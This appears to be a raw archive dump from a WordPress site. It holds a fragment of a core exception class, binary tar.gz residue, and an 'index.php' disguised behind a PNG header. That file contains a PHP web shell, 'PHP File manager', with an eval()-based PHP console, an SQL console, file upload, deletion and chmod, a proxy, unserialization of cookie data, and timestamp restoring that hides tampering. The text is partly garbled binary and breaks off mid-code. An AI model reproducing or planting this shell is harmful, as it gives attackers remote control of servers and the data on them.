	 * @param string[] $active_formatting_elements List of active formatting elements when this exception was raised.
	 */
	public function __construct( string $message, string $token_name, int $token_at, string $token, array $stack_of_open_elements, array $active_formatting_elements ) {
		parent::__construct( $message );

		$this->token_name = $token_name;
		$this->token_at   = $token_at;
		$this->token      = $token;

		$this->stack_of_open_elements     = $stack_of_open_elements;
		$this->active_formatting_elements = $active_formatting_elements;
	}
}
PKE�N\�)�|cc$class-wp-html-decoder.php.php.tar.gznu�[�����<]o�uy��uV%��H��E��.���l�'Y,ȫ�%9�p���R�EZ��m�"i�<(���-�(��!�b�@�zιs�R��M���E�9���}�9�rG�Xl��'�K�u��x�m�&�w�i_D�8P�w��x����EX��&�Y��ٯT2�K�J��_�Ny�\��vK�r�wvv��Xiҏ�L�����b�����OAy��m?xp�=`�;/NX�U���~��/݆T1#�Bɱ�E�G,���X,�c6�~��~�D�~,����~6��>�u�_��p�Ϣ�~��
@�l��_,���{D�m_�[C��`F����8w���x���4�{S�P�q�fn<b�
�+����C	TDL��",��x�Y���E8v}�H�y�!7C�;n̘��;��R0�#G(A�C����s�C��Fq<9�P�^�C1�|a��{�=4#N��QO�m|r�p$Qi��O��6�he6�
��y�o�D6�k>�x���.�p�rֺ��3P6�p��;2�qЌ�+���H�+e�E�n�%�r��|���G#rc{�m%�����u�;,D��,�Nx�����G �����\�@WᮏA�d�~� ۟��b�H��u��i�
�-�N����O<XZ��D�lw5�n|�N'���+�W�K�N�� �v^o�B��H�m��Ȭw��>�b��%�������.��c�G�,v)��\�\�Pm�[�� ���g0�d�-���|J��/P϶%����tO�C �ɂϛiŢ���{A�I��A��F�@	��twm{5c�r)�8�6u�J��4N�0<��`	���1��kc��f?fiR�Hk�Έ�Q���[�۵O��"�L�͟�q�P)XK��۔0�>\��Ĺ�`mݍ���A��r6���=�i>��:���F
:�Gs-���a(x���lH�PD���C�f
1˶MkA�o��5����'Y��f�:H(r�!f�bf-���C�]�����g��T߀�nkk�mn�:R �`�YJ��֔oS'I��;� �4�@�E�����O������f��-�#=f�C�`�w��Nc�ʼn"y�[��hcHa��p�F�{6☌y`���8IR�D:�`��G��^‹��!��@���=�DK8[y�UA6�k���O�;bF�a��i��p�hR^��8m�ҩ���8�d�$j�������ޠn���:���t�Gi0n�����dD꬏5j���6�(�tAo�Z�0Eb8��/R�6�Cg�!%�1�<q�أ���Y�U� �;�?i2�	9�"(�d�m�	�l��>n�����k&�Ifl6G��1&ٲ TF��P�C��r�q?p�c*V����������}��Os���\������h�nu��-�K�P��w�FD��,�c��ⳓ4�gY+8Z�&?Q
���*$2��6���"��PH)�2_&&-'k�`�<�C����Y�ف�=U�y`6�J���c�H�S�rX�!![�5e�2���J�C�M��P�۬ő�O	@S�~8
b;�H6k�mv>C���U��j���c��4'ӈu���xT�X���'�k�"���S���W׍!� +��m�vh�Z���j�	m\P�x�](4��bʞ��&��E]��"k#Y�0�rQ
�TQEXR���	��`���u�nB�lcC��ڐ��?��v�I�A�?�9���r�r�^�X,�^���W�x�ub��`��!)=
fn�]!�ҘCo;��hS!��q�;��Zl��|�ɯkׄ�!G�Uh,U�Y����Li6��;E�,��KeAuΧ�&A�C%��q���ek�ΐ3q�$��+�[πDžo)r��_��B��P�F��7Y&I�j�Vs)�{���Ϋ��f���"(51���41��n�|�uE�u�|K_U)@j�DI��ip
8gQw���ط�o�c.���X�'�I53�$V_�N���f�K(?lh���*�\�1��R��ć܏<�|Cf5#E�]M �	0�KT�ɲ�:G�˛X(���-a��K������O��Z�$'�M�:���H��D�E���&�I�S�[�޿�$(-�iA��N�{%d:�3JS��~�Fd
�莭��ȝD#,L�`�dw�!M�enI��C��
<j����ifP
�4��G��p���_��7�\b&����*�%��\����d$��4Un���M唦棊(;�z�%����x�'l�k��>�L:#Ppˆ�,dn�tVX�N��dm��Yχ�r���d�O���)DQ�3���P&ܴƥ�ت��3
��i�H�,me���ƭu���/�%p������*N�ٝ�V��s�S�X.��AY��[��|8�@_��@��B=�߻%w~�l��Wp�,��P*��-���u�����h"0��|��	�ů/%5��Ȱ	���	���ؒ��d�N��d�>�y���L�N�V\�gA;�I��A���P��0����*���B�u.oL������!��&a7�_q�㗞���Bf
y�q�{R~T:�m
$*p*�Ü�&��_�ԣ|��G���r
�o�`FG�0�S)Pt������g��
8�y$��J�t�*�[E�&���:B�9#����ozƤ�V?Q�M�V�.�f-k�ɰ�y��N������TkX��A�)���.��@�H���TD�C'I�u�����-�}o�kS�)*���x���o�1A�]*��V��T������h�r
~̯5����i3F��Z�CC���S�9KIx�H(���/}�R�>�meͮ���g�K�G����7v�Pr#�T�D�A�?��zn���tJ�H�.�W9`�-̚c5��!��T��c�f�x9�Cf�}����n$�.�@!3��=6���rGs�bC��Y����K{=ђ���,���9U��[7�=�
351TmwJ2L���R[���E�ڏ�1,�vIj0��w��7�٬\�8[���X!iD(�r�rK�?�+��#��6'O�fPr�t�Q
��S�>a�}L��S�9��Xb��9IJ#�������!�Fd��-eO���v��!<�ץF�4���Mj�XW�lr��g��%��	���$��3�d��=�5G�!���H��(�p҂�7��i�^	:����V3/���oY��Ȏ١����~��a+z��G��Ȟ٧;~�H�>�#z�@�T�Hu���~SӰO��S=R�#u=Ҙ����45lS��laIi���Ҋ�F}5V/�IuPU\<,)ݕ
�xwB^ڲ�G_
�U��T�����S#MN�R>�z�ޘp	y�Bgx_�5����cJ��<�0,�lI\˛l��M�f�p�Йߚ<�WB%�eA�s,|7N��Y$����]�b4N/[̆t���k��֓
X��^��"�p�AwM��/��N�"�B4��3By]��YT(���!������>(���#�	�i[T��xr�,��S��'��E�b�Nz��E�zݥ�L04�naI�M�X���P��U��3pե�uuˏ�f1?��B/�K�%�P�R^u�4�O�k%Emf{��=$�냒�V�?��j+ٮfR�]�qw,�U�*x�MY+]�j����ּ8;e��g/�������<(�aϒ�eܔ7� $@;�rMc�A���g'Mvr��Pe|qکuڧ/ً�����.�Z*Ww��]�z�/����	;iv:�3�b�۝���)�ϿJ��ԓ+8�qz�tźoO���S�p��ӳ�N_vj'�yr�~u�>�)�LM)�)��Z��3 ��!U�P�,��[���
���n�N�^o��/^�N��c�z����6��b���*�s^�O`=�˯~m�z�@�Y�k��ȶZ�\J�^;�m�6��nU�j����^��_�g�Fc����=��z!�g���Y��6�K���ˌ�T~��țK��A���X���EZ���P���-%U��ڢ�~���%]%�:k?{�b�ߦ�jϮ�E�.�Ij�\��,�t�OSF�Z%ozz6�A�_���P�@͗����S`
F�|a�����a�|GƌN��f�;��rByI�0ćr��"�&ڃ��%!i�I~�r����0o��My�W}����Xҫ&>R]�#:pV�KX��K�6v�Z�aߗ��Z�I��p��d���ܹ>Omv�_}a�V�Q��v4]H�v�;��$J�[VO�}�e�`��ZG��Em���w���rԂ�v1ƚE�k{�:�����O���w�#8y3�� ��w.<��;�EY�I��dߪ��b���V�*Att���j�@�e:�3��U��*����ш�vs�D���
V�)��d/
�fuO�
�ba�.m9,��k��	��ς�pdj�/���|`7o�m�G�]QVl�K4������N�ޑn=�c}c�cV-�I�}P�7tS]bȦ���;�S��''0c]5��i��H<v���i�Ͽ�I��L����\��С^޾%��qV/OB!��a�ؑ�'�Cu�E|@��'�^c!S�ϲ���6�ȲHR�PHmF7�2�>B�{N���/ԑ�*�3�٤�wt���j9�I��ʃ@�P��}P�*���9���0����d�_�06�J��iUNu*ćNe�n�]Gн���Z��O����wt/�̊mu�Ԩi�C���V�Q֥�p�V��Z�EK&���Ȼ��4�!�ް���}��Pr���ښ�OI�`׹�Ƨ�7��f�p�Dߍ���&����ߩ�A^�n��k����+�����_���]�@E��ͺ|'laPC��F���WI�1�H]�E�
EAw���A[�1�!��oc_@��>B㠔�I�����ihR�F��
��m����5[�Q�,�Z���XG�!��9���}df�K�i��;ކ���A�t�\Q��/�:��ߝw߽��V��$�w��l3yZ VO�Ƭɿ��`�5�a�b��N�n$S�Nx���v�|��6[����p���R��"[��R���hV宲�Mt�o�D��޻{��φo�o�o�o����V2HPKE�N\�jZ�
�
10.tarnu�[���index.php000064400000241464151440300030006365 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
